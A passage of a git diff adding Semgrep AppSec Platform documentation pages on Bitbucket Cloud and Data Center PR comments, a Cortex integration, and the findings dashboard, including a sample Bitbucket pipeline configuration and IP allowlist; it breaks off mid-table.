+- **Workspace access token**: If you use the Bitbucket Cloud Premium plan, you can create a workspace access token. This option saves time because you can create one access token for all repositories in the workspace. With one workspace access token, you can bulk-onboard more repositories at once from a whole workspace. However, you can also use the option of a repository access token to onboard repositories one by one.
+- **Repository access token**: If you do **not** have the Bitbucket Cloud Premium plan, create a separate repository access token for each repository where you want to use Semgrep. This configuration option is also useful if you have the Bitbucket Cloud Premium plan, but prefer to onboard repositories one by one instead of bulk onboarding.
+
+
+
+
+
+## Create and add a workspace access token
+
+
+**PREREQUISITE**
+
+- **Bitbucket Cloud Premium** plan. If you do not have a Bitbucket Cloud Premium plan, create a repository access token.
+
+
+Create a workspace access token in Bitbucket (only available if you have a Bitbucket Cloud Premium plan):
+
+
+
+Create a workspace access token in Bitbucket with **Read** and **Write** permissions for the **Pull requests** scope. Follow the instructions in [Create a workspace Access Token](https://support.atlassian.com/bitbucket-cloud/create-a-workspace-access-token/) in Bitbucket documentation.
+
+
+Add the workspace access token as a workspace variable with the **Secured** option.
+
+
+
+Continue setting up Bitbucket PR comments by finishing the rest of this guide.
+
+
+
+
+
+## Create and add a repository access token
+
+
+**INFO**
+
+This section helps you to configure PR comments if you do **not** have a Bitbucket Cloud Premium plan. You can create a separate repository access token for each repository where you want to use Semgrep. This configuration option is also useful if you have the Bitbucket Cloud Premium plan, but prefer to onboard repositories one by one instead of bulk onboarding.
+
+
+Fulfill these general steps to create a repository access token:
+
+
+Create a repository access token in Bitbucket with **Read**, and **Write** permissions for the **Pull requests** scope. Follow the instructions in [Create a repository Access Token](https://support.atlassian.com/bitbucket-cloud/create-a-repository-access-token/) in Bitbucket documentation.
+
+
+Add the repository access token as a repository variable with the **Secured** option.
+
+
+
+Continue setting up Bitbucket PR comments by finishing the rest of this guide.
+
+
+
+
+
+## Enable PR comments in Bitbucket
+
+### Prerequisites
+
+- In addition to finishing the previous steps in your deployment journey, it is recommended to have completed a **full scan** on your **default branch** for the repository in which you want to receive comments.
+- You must have a Bitbucket Cloud **workspace access token** or a **repository access token**.
+
+### Confirm your Semgrep account's connection
+
+Confirm that you have the correct connection and access:
+
+
+
+In your Semgrep AppSec Platform account, click **Settings > Source code managers**.
+
+
+Check that an entry for your Bitbucket workspace exists and is correct.
+
+
+
+#### Triage through PR comments
+
+Developers can triage Semgrep findings without leaving Bitbucket by responding to the PR comments authored by Semgrep. To use this feature, you must have a paid Bitbucket Cloud plan, and must update your source code manager (SCM) connection to use a workspace access token. This allows you to enable webhooks, which Semgrep requires for the triage through PR comments feature.
+
+To update your connection between Semgrep and Bitbucket:
+
+
+
+Log in to Bitbucket using an account assigned with the **Product Admin** role.
+
+
+[Create a workspace access token](https://support.atlassian.com/bitbucket-cloud/workspace-access-tokens/). Ensure that you assign the following scopes to the token:
+ - `webhook (read and write)`
+ - `repository (read and write)`
+ - `pullrequest (read and write)`
+ - `project (admin)`
+ - `account (read)`
+
+
+Return to Semgrep and [ sign in](https://semgrep.dev/login).
+
+
+Go to ** Settings > Source code managers**, and find your Bitbucket connection.
+
+
+Click **Update access token**.
+
+
+In the **Update access token** dialog that appears, provide the new token you created. Click **Update** to save and proceed.
+
+
+Toggle the **Incoming webhooks** setting on.
+
+
+
+Once you've successfully enabled webhooks and the **Triage via code review comments** toggle is on, developers can triage Semgrep findings from Bitbucket Cloud.
+
+### Set up the configuration file
+
+The logic to determine whether Semgrep runs a full scan or a diff-aware scan on a pull request is defined in the `bitbucket-pipelines.yml` file.
+
+For PR comments and accurate diff-aware scan analysis to work, you must set `SEMGREP_BASELINE_REF`, which defines the repository’s default branch used as the comparison baseline, such as `main` or `master`. Specifying the default branch helps Semgrep understand the differences between the current branch and the main line of development and to generate meaningful results and PR comments.
+
+
+
+```bash
+image: semgrep/semgrep:latest
+
+pipelines:
+ branches:
+ # Change to your default branch if different from main
+ main:
+ - step:
+ name: Semgrep scan on push
+ script:
+ - export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
+ - semgrep ci
+
+ pull-requests:
+ '**': # This applies to pull requests for all branches
+ - step:
+ name: Semgrep scan on PR
+ script:
+ - export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
+ # Change to your default branch if different from main
+ - export SEMGREP_BASELINE_REF="origin/main"
+ - git fetch origin "+refs/heads/*:refs/remotes/origin/*"
+ - semgrep ci
+
+ custom:
+ # Trigger job manually. For cron in Bitbucket, see: https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/#On-schedule
+ semgrep-manual:
+ - step:
+ name: Semgrep manual scan
+ script:
+ - export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
+ - semgrep ci
+```
+
+
+
+### Configure comments for Semgrep Code
+
+In addition to setting up the connection between Semgrep and Bitbucket, you must assign rules to Comment or Block mode. This customization enables you to:
+
+- Manage the amount of PR comments your developers receive.
+- Ensure that only rules that meet your criteria, such as high severity or high confidence rules, produce comments visible to developers, reducing noise.
+
+#### Set rules to Comment or Block mode
+
+The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
+
+
+
+In your Semgrep AppSec Platform account, click **Rules > Policies** to enter the **Policies** page. Under **Modes **, you can quickly see if you have existing rules in either Comment or Block mode.
+
+
+Optional: To configure Semgrep Secrets rules, click the **Secrets** tab.
+
+
+Optional: Use the filters to quickly find rules to set to Comment or Block.
+
+
+Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
+
+
+Click **Change modes**.
+
+
+Click either **Block** or **Comment**.
+
+
+
+You have successfully configured PR comments for Semgrep Code.
+
+
+**TIP**
+
+Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
+
+
+### Configure comments for Semgrep Secrets
+
+In addition to setting up the connection between Semgrep and Bitbucket, you must assign rules to Comment or Block mode. This customization enables you to:
+
+- Manage the amount of PR comments your developers receive.
+- Ensure that only rules that meet your criteria, such as high severity or high confidence rules, and result in findings involving valid secrets produce comments visible to developers, reducing noise.
+
+#### Set rules to Comment or Block mode
+
+The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
+
+
+
+In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
+
+
+Under **Modes **, you can see if you have existing rules in either Comment or Block mode. You can also use the filters to find rules you want to set to Comment or Block.
+
+
+Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
+
+
+Click **Change modes**.
+
+
+Click either **Block** or **Comment**.
+
+
+
+You have successfully configured PR comments for Semgrep Secrets.
+
+#### Validation state policies
+
+Validation state policies allow you to define how Semgrep handles the following issues:
+
+- **Invalid findings**: the secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with. For example, a Semgrep rule that tests GitHub credentials may return an invalid finding if Semgrep can't communicate with an on-premise deployment.
+- **Validation errors**: Semgrep was unable to reach the secrets provider to test the validity of the credential, or Semgrep received an unexpected response from the API
+
+To edit the policy for invalid secrets and errors:
+
+
+
+In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
+
+
+Click **Validation State Policies**.
+
+
+Choose the mode, either Comment or Block, that you want Semgrep to set for **Invalid findings**.
+
+
+Choose the mode, either Comment or Block, that you want Semgrep to set for **Validation errors**.
+
+
+
+
+**TIP**
+
+Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
+
+
+### Configure comments for Semgrep Supply Chain
+
+To configure comments for Supply Chain, you must define a Supply Chain policy. This policy lets you set the specific conditions, such as transitivity and reachability, that trigger a comment. These conditions are unique to Supply Chain findings.
+
+See the [Policies documentation](/semgrep-supply-chain/policies) for more information.
+
+### Receive comments in an access-controlled Bitbucket account
+
+Bitbucket Premium provides [ access control features](https://support.atlassian.com/bitbucket-cloud/control-access-to-your-private-content/) for content that your individual account owns. If you use this feature, you need to add several IP addresses into your allowlist.
+
+If you are behind a firewall, are using a virtual private network (VPN), or have network restrictions regarding access, you may need to add the following IP addresses to the **ingress** allowlist and **egress** allowlist:
+
+```bash
+# Ingress IP addresses (from Semgrep to your infrastructure)
+# and egress IP addresses (from your infrastructure to Semgrep)
+35.166.231.235
+52.35.248.246
+52.34.137.110
+44.225.64.41
+```
+
+#### Additional egress IP addresses
+
+You must also add **CloudFront IP addresses** to your **egress** allowlist. Refer to [ Locations and IP address ranges of CloudFront edge servers](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/LocationsOfEdgeServers.html) for a list of IP addresses.
+
+
+#### Test your configuration
+
+Test that you are able to receive findings by manually triggering a scan through your CI provider.
+
+Receiving PR or MR comments may require additional steps depending on the custom configuration of your VPN or SCM (for example, if you use a static IP without a hostname). Reach out to [Semgrep Support](/support) with any concerns.
+
+
+**INFO**
+
+Only rules set to the **Comment** and **Block** rule modes in the [Policies page](https://semgrep.dev/orgs/-/policies) create PR comments.
+
+
+## Optional features
+
+### Customize PR comments
+
+You can customize the comments Semgrep leaves on your PR. Custom comments allow you to direct your teams to the resources they need to handle the vulnerabilities Semgrep identifies in their code.
+
+
+
+
+
+To provide custom PR comments:
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login?).
+
+
+Navigate to **Settings > General > Global**.
+
+
+Go to the **Custom PR/MR comments footers** section.
+
+ 
+
+
+
+
+Provide a custom comment for each Semgrep product whose findings you want to generate a PR comment. Semgrep supports Markdown and plaintext links in your message.
+
+
+Click **Save changes**.
+
+
+
+### Enable Rule-defined fix in Bitbucket Cloud repositories
+
+[Autofix](/writing-rules/rule-defined-fix) is a Semgrep feature in which rules contain suggested fixes to resolve findings.
+
+To enable **Rule-defined fix** for all projects in your Semgrep AppSec Platform organization, follow these steps:
+
+
+
+In Semgrep AppSec Platform, go to **Settings > General > Code**.
+
+
+Use the **Rule-defined fix ** toggle to enable this feature.
+
+
+
+## Next steps
+
+You've finished setting up a core deployment of Semgrep 🎉.
+
+- Explore recommended tasks after deployment in [ Beyond core deployment](/deployment/beyond-core-deployment).
+
+## Additional references
+
+
+
+
+
diff --git a/mintlify-docs/semgrep-appsec-platform/bitbucket-data-center-pr-comments.mdx b/mintlify-docs/semgrep-appsec-platform/bitbucket-data-center-pr-comments.mdx
new file mode 100644
index 0000000000..e0127b6b69
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/bitbucket-data-center-pr-comments.mdx
@@ -0,0 +1,268 @@
+---
+title: "Enable Bitbucket Data Center pull request comments"
+sidebarTitle: "Bitbucket Data Center"
+---
+
+
+**YOUR DEPLOYMENT JOURNEY**
+
+- You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
+- You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
+- You have [connected your source code manager](/deployment/connect-scm).
+- Optionally, you have [set up SSO](/deployment/sso).
+- You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow with [diff-aware scanning](/deployment/customize-ci-jobs/#set-up-diff-aware-scans).
+
+
+Semgrep can create **pull request (PR) comments** in your Bitbucket repository. These comments provide a description of the issue detected by Semgrep and may offer possible solutions. They are a means for security teams, or any team responsible for creating standards to help their fellow developers write safe and standards-compliant code.
+
+Automated comments on Bitbucket pull requests are displayed as follows:
+
+
+
+
+
+## Conditions for PR comment creation
+
+PR comments appear for the following types of scans under these conditions:
+
+| Type of scan | Product name | Trigger condition | How to set up |
+| :--- | :--- | :--- | :--- |
+| Static application security testing (SAST) | Semgrep Code | A comment appears when a finding is generated by a rule in **Comment or Block mode**. This means you can fully customize what comments your developers receive. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Code](#configure-comments-for-semgrep-code). |
+| Software composition analysis (SCA) | Semgrep Supply Chain (SSC) | A comment appears based on the conditions you explicitly set in a [Supply Chain policy](/semgrep-supply-chain/policies) or when Semgrep detects a [license violation](/semgrep-supply-chain/license-compliance). | To receive Supply Chain comments, complete the steps in [Confirm account connection and access](#confirm-your-semgrep-accounts-connection) and [set up a policy](/semgrep-supply-chain/policies).
To receive license violation comments, [enable dependency search](/semgrep-supply-chain/dependency-search#enable-and-use-dependency-search). |
+| Secrets | Semgrep Secrets | A comment appears when a finding is generated by a rule in **Comment or Block mode**. A comment also appears for invalid findings and validation errors if these conditions are set to **Comment or Block mode**. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Secrets](#configure-comments-for-semgrep-secrets). |
+
+Comments from Supply Chain scans include the following information:
+
+**Risk**
+A description of the vulnerability, including the types of attack it is vulnerable to.
+
+**Fix**
+Indicates what versions to upgrade to, if any, that resolves or eliminates the vulnerability.
+
+**Reference**
+A link to additional information about the vulnerability from its source, such as the [GitHub Advisory Database](https://github.com/advisories) and the [National Vulnerability Database (NVD)](https://nvd.nist.gov/vuln), if available.
+
+## Enable PR comments in Bitbucket
+
+### Prerequisites
+
+- You must have a Bitbucket Data Center HTTP access token. Ensure that the [HTTP access token that you create](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html) has been granted **Project write** permissions. You'll provide this token to your CI provider during the setup process.
+- Semgrep has been tested with Bitbucket Data Center v8.19. If you are using a different version of BBDC and there are issues, please [reach out to support](/support).
+
+### Confirm your Semgrep account's connection
+
+Confirm that you have the correct connection and access:
+
+
+
+In your Semgrep AppSec Platform account, click **Settings > Source code managers**.
+
+
+Check that an entry for your Bitbucket project exists and is correct.
+
+
+
+#### Triage through PR comments
+
+Developers can triage Semgrep findings without leaving Bitbucket by responding to the PR comments authored by Semgrep. Semgrep requires Bitbucket Data Center source code manager (SCM) connections to use an HTTP access token with `PROJECT_ADMIN` permissions, so your connection may already use an appropriate token.
+
+If you do not, to update your connection between Semgrep and Bitbucket Data Center:
+
+
+
+Ensure that you're using Bitbucket Data Center version 8.8 or later.
+
+
+Log in to Bitbucket using an account assigned with the **Project Admin** role.
+
+
+[Create an HTTP access token](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html). When setting the token's **Project permissions**, ensure that you select **Project admin**.
+
+
+Return to Semgrep and [ sign in](https://semgrep.dev/login).
+
+
+Go to ** Settings > Source code managers**, and find your Bitbucket connection.
+
+
+Click **Update access token**.
+
+
+In the **Update access token** dialog that appears, provide the new token you created. Click **Update** to save and proceed.
+
+
+Toggle the **Incoming webhooks** setting on.
+
+
+
+Once you've successfully enabled webhooks and the **Triage via code review comments** toggle is on, developers can triage Semgrep findings from Bitbucket Data Center.
+
+### Configure comments for Semgrep Code
+
+In addition to setting up the connection between Semgrep and Bitbucket, you must assign rules to Comment or Block mode. This customization enables you to:
+
+
+- Manage the amount of PR comments your developers receive.
+- Ensure that only rules that meet your criteria, such as high severity or high confidence rules, produce comments visible to developers, reducing noise.
+
+#### Set rules to Comment or Block mode
+
+The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
+
+
+
+In your Semgrep AppSec Platform account, click **Rules > Policies** to enter the **Policies** page. Under **Modes **, you can quickly see if you have existing rules in either Comment or Block mode.
+
+
+Optional: To configure Semgrep Secrets rules, click the **Secrets** tab.
+
+
+Optional: Use the filters to quickly find rules to set to Comment or Block.
+
+
+Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
+
+
+Click **Change modes**.
+
+
+Click either **Block** or **Comment**.
+
+
+
+You have successfully configured PR comments for Semgrep Code.
+
+
+**TIP**
+
+Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
+
+
+### Configure comments for Semgrep Secrets
+
+In addition to setting up the connection between Semgrep and Bitbucket, you must assign rules to Comment or Block mode. This customization enables you to:
+
+- Manage the amount of PR comments your developers receive.
+- Ensure that only rules that meet your criteria, such as high severity or high confidence rules, and result in findings involving valid secrets produce comments visible to developers, reducing noise.
+
+#### Set rules to Comment or Block mode
+
+The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
+
+
+
+In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
+
+
+Under **Modes **, you can see if you have existing rules in either Comment or Block mode. You can also use the filters to find rules you want to set to Comment or Block.
+
+
+Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
+
+
+Click **Change modes**.
+
+
+Click either **Block** or **Comment**.
+
+
+
+You have successfully configured PR comments for Semgrep Secrets.
+
+#### Validation state policies
+
+Validation state policies allow you to define how Semgrep handles the following issues:
+
+- **Invalid findings**: the secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with. For example, a Semgrep rule that tests GitHub credentials may return an invalid finding if Semgrep can't communicate with an on-premise deployment.
+- **Validation errors**: Semgrep was unable to reach the secrets provider to test the validity of the credential, or Semgrep received an unexpected response from the API
+
+To edit the policy for invalid secrets and errors:
+
+
+
+In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
+
+
+Click **Validation State Policies**.
+
+
+Choose the mode, either Comment or Block, that you want Semgrep to set for **Invalid findings**.
+
+
+Choose the mode, either Comment or Block, that you want Semgrep to set for **Validation errors**.
+
+
+
+
+**TIP**
+
+Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
+
+
+### Configure comments for Semgrep Supply Chain
+
+To configure comments for Supply Chain, you must define a Supply Chain policy. This policy lets you set the specific conditions, such as transitivity and reachability, that trigger a comment. These conditions are unique to Supply Chain findings.
+
+See the [Policies documentation](/semgrep-supply-chain/policies) for more information.
+
+## Optional features
+
+### Customize PR comments
+
+You can customize the comments Semgrep leaves on your PR. Custom comments allow you to direct your teams to the resources they need to handle the vulnerabilities Semgrep identifies in their code.
+
+
+
+
+
+To provide custom PR comments:
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login?).
+
+
+Navigate to **Settings > General > Global**.
+
+
+Go to the **Custom PR/MR comments footers** section.
+
+ 
+
+
+
+
+Provide a custom comment for each Semgrep product whose findings you want to generate a PR comment. Semgrep supports Markdown and plaintext links in your message.
+
+
+Click **Save changes**.
+
+
+
+### Enable Rule-defined fix in Bitbucket Data Center repositories
+
+[Autofix](/writing-rules/rule-defined-fix) is a Semgrep feature in which rules contain suggested fixes to resolve findings.
+
+To enable **Rule-defined fix** for all projects in your Semgrep AppSec Platform organization, follow these steps:
+
+
+
+In Semgrep AppSec Platform, go to **Settings > General > Code**.
+
+
+Use the **Rule-defined fix ** toggle to enable this feature.
+
+
+
+## Next steps
+
+You've finished setting up a core deployment of Semgrep 🎉.
+
+- Explore recommended tasks after deployment in [ Beyond core deployment](/deployment/beyond-core-deployment).
+
+## Additional references
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-appsec-platform/cortex.mdx b/mintlify-docs/semgrep-appsec-platform/cortex.mdx
new file mode 100644
index 0000000000..b63a7f2769
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/cortex.mdx
@@ -0,0 +1,73 @@
+---
+title: "View exposure and runtime context from Cortex by Palo Alto Networks"
+sidebarTitle: "Cortex"
+description: "The Semgrep Cortex integration can ingest exposure and runtime context from your Cortex instance in Semgrep AppSec Platform. This allows you to prioritize findings based on deployment status and internet exposure status."
+---
+
+## Prerequisites
+
+Before proceeding, ensure that you have:
+- A Cloud Posture Security license
+- The following tools and integrations set up in your Cortex instance:
+ - A [ cloud service provider](https://docs-cortex.paloaltonetworks.com/r/Cortex-CLOUD/Cortex-Cloud-Runtime-Security-Documentation/Ingest-cloud-assets?tocId=2jhG7867R_efYTshrrusgA), such as AWS, GCP, or Azure
+ - A [ version control system](https://docs-cortex.paloaltonetworks.com/r/Cortex-Cloud-Posture-Management/Application-Security-Posture-Management-ASPM/Onboard-version-control-systems) integration, such as GitHub or GitLab
+ - A [ CI tool](https://docs-cortex.paloaltonetworks.com/r/Cortex-Cloud-Posture-Management/Application-Security-Posture-Management-ASPM/Integrate-CI-Tools) integration, such as Jenkins or CircleCI
+ - If you use GitHub Actions for your CI/CD pipeline and you've onboarded a GitHub Cloud or GitHub Server VCS integration, you don't have to configure a GitHub Actions integration separately.
+ - A [ Kubernetes connector](https://docs-cortex.paloaltonetworks.com/r/Cortex-CLOUD/Cortex-Cloud-Runtime-Security-Documentation/Onboard-the-Kubernetes-Connector?tocId=WsDqs1Oz8m7F0mqiWVsErA) if your resources are deployed in a Kubernetes cluster
+- Generated a [ Standard API key](https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR-REST-API/Get-Started-with-Cortex-XDR-APIs) and saved the following values:
+ - **API key**
+ - **API key ID**
+- Set up a connection between [Semgrep and your source code manager (SCM)](/deployment/connect-scm)
+
+## Enable the Cortex integration
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Navigate to [**Settings** > **Integrations**](https://semgrep.dev/orgs/-/settings/integrations).
+
+
+Navigate to **Integrations**, and click **+ Add > Cortex**.
+
+
+In the dialog that appears, provide the following information:
+
+ i. **FQDN**: This is the unique host and domain name associated with your Cortex tenant. It usually takes the format `https://your-tenant.xdr.your-region.paloaltonetworks.com/`.
+
+ ii. **API key ID**: This is generated when you create an API key in Cortex.
+
+ iii. **API key**: This is generated when you create an API key in Cortex.
+
+
+Click **Connect**.
+
+
+Within several hours, you should see **Deployment** and **Exposure** status for each project on the project settings page.
+
+
+
+## Limitations
+
+- Each Semgrep deployment can only have **one Cortex integration**.
+- The exposure and runtime context data are only synced for Semgrep projects that are connected to SCMs and have been scanned within the previous 30 days.
+- The integration syncs your data every 24 hours (this feature will be available soon), but it may take up to 1-2 days for Semgrep to reflect any changes to your repositories and infrastructure.
+- Internet exposure detection is not supported for AWS Classic Load Balancers.
+
+## Troubleshooting
+
+### If you see a **Connection Error** message under your Cortex integration
+
+If you see the **Connection Error** message under your Cortex integration, there was an issue establishing a connection or running a sync job for a provider you have connected. Check your connection settings to verify that your configuration is correct.
+
+If the connection settings are correct, [contact Support](/support) for further assistance.
+
+### If you're not seeing data in your project settings page
+
+If you're not seeing data for your project in the project settings page:
+
+- Wait for one day for your data to sync.
+- Confirm that an image of the project has been deployed in your infrastructure that Cortex has access to
+- If, after one day, you're still not seeing data, ensure that you meet the integration's prerequisites.
+- If, after one day, you meet the integration's prerequisites and confirmed deployment, [contact Support](/support) for further assistance.
diff --git a/mintlify-docs/semgrep-appsec-platform/dashboard-old.mdx b/mintlify-docs/semgrep-appsec-platform/dashboard-old.mdx
new file mode 100644
index 0000000000..272b959add
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/dashboard-old.mdx
@@ -0,0 +1,131 @@
+---
+title: "Evaluating your security posture through the Dashboard"
+sidebarTitle: "Dashboard"
+---
+
+
+
+
+
+The Semgrep AppSec Platform Dashboard is an overview of your organization’s security posture from data aggregated within the Semgrep AppSec Platform. With these metrics you can:
+
+* View recurring security issues, consequently taking action on them.
+* Improve communication between developer teams and security teams.
+* Detect vulnerabilities early, thereby preventing these from persisting through to the next stage of product delivery, such as QA.
+
+You can access the Dashboard by [logging into the Semgrep AppSec Platform](https://semgrep.dev/login).
+
+## Assessing security readiness at a glance
+
+
+
+
+
+The **Code** widget displays high-level security analytics across your entire organization. This includes:
+
+**High severity**
+ Findings generated by a rule with the severity value set to ERROR. These include security backdoors and highly vulnerable code. If you filter for another time period than All time the displayed number badge compares the number of high-severity findings within the given time period against the previous time period.
+
+**Open findings**
+ The number of open findings over the given time period. The badge number indicates whether this number has gone up or down compared to the previous timeframe. If you filter for another time period than All time the displayed number badge compares the most recent number of open findings against the previous timeframe.
+
+**Comment fix rate**
+ The percentage of findings that were fixed when findings surfaced to developers through PR or MR comments in previous scans. If you filter for another time period than All time the displayed number badge compares PR and MR fix rate in the given time period against the previous time period.
+
+## Filtering findings by time
+
+The Dashboard displays data from scans for the **All time** by default. This time range can be set to a narrower value. By broadening the time range, security teams are able to see total numbers and statistics across an entire time period. Narrow time ranges can give insights into the most recent vulnerabilities creeping into the project.
+
+To change the time range of scan data over time:
+
+
+
+Click the **Last 1 month** button.
+
+
+Select a time range from the drop-down box. The Dashboard, including all widgets, reloads to reflect data from the selected time period.
+
+
+
+## Filtering findings by projects
+
+The Dashboard displays data from scans for **all of the organization's projects** by default. Select one or a few projects to filter the dashboard widgets to only reflect scans from selected projects. Selecting a few projects gives you a more targeted view of those projects' security posture.
+
+To change the projects filter:
+
+
+
+Click the **All projects** button.
+
+
+Select projects from the drop-down box. The Dashboard, including all widgets, reloads to reflect data from the selected projects.
+
+
+
+## Summarizing the security posture of a project
+
+
+
+
+
+The **Most findings** widget displays open findings, high severities, and fix rates per-project. Through this view, you can see a specific number of findings in given projects. The columns are arranged in descending order, from the project with the greatest amount of findings to the least.
+
+To view the project’s findings, click the project’s name. This takes you to the [Findings page](/semgrep-code/findings), where you can filter, sort, and triage findings.
+
+## Assessing rule performance
+
+
+
+
+
+The **Rules summary** widget provides a summary report for rule metrics, such as what rules are ignored or fired the most.
+
+These data points can serve as a starting point for the following security audits:
+
+- Investigating the relevance or quality of a rule. For example: Is this rule useful, or does it detect too many false positives?
+- Are there underlying issues in the codebase that result in recurring patterns of insecure code?
+- Are there rules that developers don’t resolve? Semgrep helps identify such rules, which helps to form insights into possible causes.
+
+## Using Dashboard with Semgrep Supply Chain
+
+Semgrep Dashboard can display vulnerable dependency findings of Semgrep Supply Chain.
+
+
+
+
+
+Semgrep Supply Chain dashboard consists of three widgets:
+
+**Supply Chain**
+ Contains three items: Reachable, Unreachable, and Undetermined vulnerabilities.
+
+**Most vulnerabilities**
+ The number of dependency vulnerabilities over the given time period next to the calendar icon.
+
+**New advisories**
+ Announcements of new vulnerabilities.
+
+
+
+**TIP**
+
+Filters mentioned in previous sections [Filtering findings by time](#filtering-findings-by-time) and [Filtering findings by projects](#filtering-findings-by-projects) are also applied to Semgrep Supply Chain widgets.
+
+
+
+
+
+
+## See also
+
+
+
+
+
+
+
+## Additional references
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-appsec-platform/dashboard.mdx b/mintlify-docs/semgrep-appsec-platform/dashboard.mdx
new file mode 100644
index 0000000000..35bded1307
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/dashboard.mdx
@@ -0,0 +1,165 @@
+---
+title: "Dashboard"
+---
+
+The [Semgrep dashboard](https://semgrep.dev/orgs/-/) is an overview of your organization’s security posture based on data aggregated within Semgrep AppSec Platform. It helps you:
+
+- Evaluate your AppSec program, enabling you to know your current security risk.
+- Assess the deployment and adoption of **[secure guardrails](/secure-guardrails/secure-guardrails-in-semgrep)** to your organization.
+- Become aware of trends and opportunities that you can use to improve your security posture.
+- Quickly filter data granularly for all the charts on the page and view priority findings.
+- Export the information as a PDF report.
+
+## Dashboard overview
+
+The dashboard is divided into several sections:
+
+| Section | Description |
+| :--- | :--- |
+| Reporting summary top bar | Sets the filters for all the data in the page. |
+| Production backlog | Displays data about all the findings detected in your primary or default branch and helps you answer the following questions: - How is my security posture doing over time? - Is my backlog decreasing or increasing? - Is the team addressing findings faster than new findings are coming in? |
+| [Secure guardrails](/secure-guardrails/secure-guardrails-in-semgrep) | Displays data relevant to the deployment and adoption of secure guardrails. It helps address the following: - How many vulnerabilities did Semgrep prevent from entering production over time? - Am I effectively introducing guardrails to my developers? - Of the issues shown to developers, are they being fixed, or are they being ignored? |
+| Most findings by project | Lists projects arranged by most open findings to least, grouped by **product** or **severity**. Helps answer the following: - Which of my projects have the most findings in a particular product area? - Which of my projects have the most findings for a particular severity? |
+| Median open age | A graph showing the middle age of all Open findings, grouped by product or severity. Half of the open findings are older than this age, and half are newer. Helps you answer: - What is the amount of time a finding remains open, by product or by severity? |
+
+
+**TIP**
+
+Use the **filters** to quickly generate views for a single Semgrep product or all products.
+
+When viewing data for a single Semgrep product, you can't group by product in **Most findings by project** and **Median open age**.
+
+
+## Export reports
+
+To generate reports from the current view, click **Dashboard > Download**.
+
+## Triage states
+
+The following triage states are displayed:
+
+- Open
+- Ignored, including provisionally ignored
+- Fixed
+
+Additional triage states, such as **Fixing** or **Reviewing**, are not displayed at this time.
+
+## Filters and configuration
+
+Use the filters to gain a top-level view or zoom in to a single product, specific period of time, or other slice of data. Create quarterly overviews or recent incident statements for various AppSec stakeholders.
+
+Configurations set here apply to the entire page.
+
+The following quick filters are visible on the page:
+ - Time period
+ - Semgrep product or type of scan (SAST, SCA, or Secrets)
+ - Project (a repository or a subfolder of a monorepo)
+ - [Recommended priority](#recommended-priority) toggle
+
+
+**INFO**
+
+- By default, the Dashboard displays data for projects that members or managers have access to. Admins can view findings from all the projects in the organization. See the [Teams documentation](/deployment/teams/overview#teams-beta) for more information.
+- It can take up to a day **(24 hours)** for the Dashboard to correctly update and remove findings if you have recently deleted a project.
+
+
+To access **all** filters:
+
+
+
+Click **All filters** to open the filter drawer.
+
+
+Turn off the ** Recommended priority** toggle.
+
+
+
+This displays the following filters in the filter drawer:
+
+- [Severity](/writing-rules/rule-syntax#required)
+- [Confidence](/contributing/contributing-to-semgrep-rules-repository#confidence)
+- [Reachability](/semgrep-supply-chain/findings#reachability)
+- [Validation](/semgrep-secrets/conceptual-overview#validate-secrets)
+- Time period
+- Product
+- Project
+- Tags
+- Teams
+
+### Recommended priority
+
+This refers to any finding that is **Critical** or **High** severity in **addition** to being:
+
+- [High confidence](/contributing/contributing-to-semgrep-rules-repository#confidence) - if the finding is from Semgrep Code.
+- [Reachable](/semgrep-supply-chain/findings#reachability) - if the finding is from Semgrep Supply Chain.
+- [Valid](/semgrep-secrets/conceptual-overview#validate-secrets) - if the finding is from Semgrep Secrets.
+
+By default, ** Recommended priority** filters are enabled.
+
+If you choose to turn off recommended priority filters, **all** findings are displayed.
+
+## Production backlog
+
+This pane displays analytics related to findings detected in your **primary or default branch**. This typically means that the finding, usually a security issue, has made it to production environments.
+
+### Key metrics
+
+| Key metrics | Description |
+| :--- | :--- |
